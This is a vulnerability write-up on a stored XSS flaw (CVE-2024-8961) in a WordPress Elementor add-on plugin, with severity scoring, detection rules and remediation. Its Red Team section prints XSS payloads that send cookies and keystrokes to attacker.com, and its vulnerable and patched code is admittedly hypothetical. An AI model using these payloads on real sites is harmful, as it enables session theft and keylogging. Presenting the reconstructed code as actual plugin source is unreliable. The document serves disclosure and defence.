CVE-2024-8961

Executive Summary

CVE-2024-8961 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin, developed by Wpdeveloper. This plugin is widely used to extend Elementor page builder with additional widgets, templates, and WooCommerce features. The flaw exists in the nomore_items_text parameter, which is insufficiently sanitized and escaped, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability affects all versions up to and including 6.0.7. No public exploit code or patch details are currently available, but the risk is elevated due to the plugin’s popularity and the low privileges required for exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access, but the low complexity and potential for widespread impact on WordPress sites make this a significant threat.

Deep Dive & Mechanics

The vulnerability resides in the nomore_items_text parameter, likely used in dynamic content loading or pagination features within the plugin. The parameter is processed without proper input sanitization or output escaping, allowing an attacker to inject HTML and JavaScript. When the plugin renders this parameter on a page, the injected script is stored in the database and executed in the context of any user visiting the page.

Attack Flow:

1. An attacker with Contributor-level access (or higher) logs into the WordPress admin.
2. They create or edit a post/page using the Essential Addons for Elementor plugin.
3. In the plugin’s settings, they inject a malicious payload into the nomore_items_text field, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the WordPress database without proper sanitization.
5. When any user (including administrators) views the page, the script executes in their browser.

Root Cause: The plugin fails to apply esc_attr() or wp_kses() to the nomore_items_text parameter before outputting it, and does not sanitize it upon input.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 6.0.7):

// In a template or widget file
echo '<div class="eael-load-more-text">' . $settings['nomore_items_text'] . '</div>';

The $settings['nomore_items_text'] is directly echoed without escaping.

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="eael-load-more-text">' . esc_html( $settings['nomore_items_text'] ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Essential Addons for Elementor <= 6.0.7.
• Contributor-level account credentials.

Steps:

1. Log in to WordPress admin with Contributor credentials.
2. Navigate to a page or post editor using Elementor.
3. Add an Essential Addons widget that uses the nomore_items_text parameter (e.g., Post Grid or Product Grid).
4. In the widget settings, locate the "No More Items Text" field.
5. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save/publish the page.
7. When any user visits the page, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual changes to widget settings.
• Use Web Application Firewall (WAF) rules to block <script> tags in nomore_items_text parameters.
• Scan database for stored XSS payloads in wp_postmeta table.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Apply a virtual patch via WAF to sanitize the nomore_items_text parameter.
• Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

• File-based: Modified plugin files (e.g., essential-addons-for-elementor/includes/classes/...).
• Database: Suspicious entries in wp_postmeta where meta_key contains nomore_items_text and meta_value includes <script> tags.
• Network: Outbound requests to attacker-controlled domains from WordPress admin or frontend.
• Logs: Unusual changes to widget settings by Contributor users.

Detection Engineering

YARA Rule

rule CVE_2024_8961_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Essential Addons for Elementor nomore_items_text"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8961"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $param = "nomore_items_text"
    condition:
        $param and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via Essential Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in nomore_items_text parameter
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "nomore_items_text"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8961 Stored XSS in Essential Addons for Elementor"; flow:to_server,established; content:"nomore_items_text"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version is released, update the plugin immediately.
2. Virtual Patching: Use a WAF to block requests containing <script> in the nomore_items_text parameter.
3. Access Control: Review and restrict Contributor-level accounts. Disable unused accounts.

Long-term Fix:

• The vendor must implement proper input sanitization (e.g., sanitize_text_field()) and output escaping (e.g., esc_html()) for all user-controlled parameters.

Workaround:

• Disable the Essential Addons for Elementor plugin until a patch is applied.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert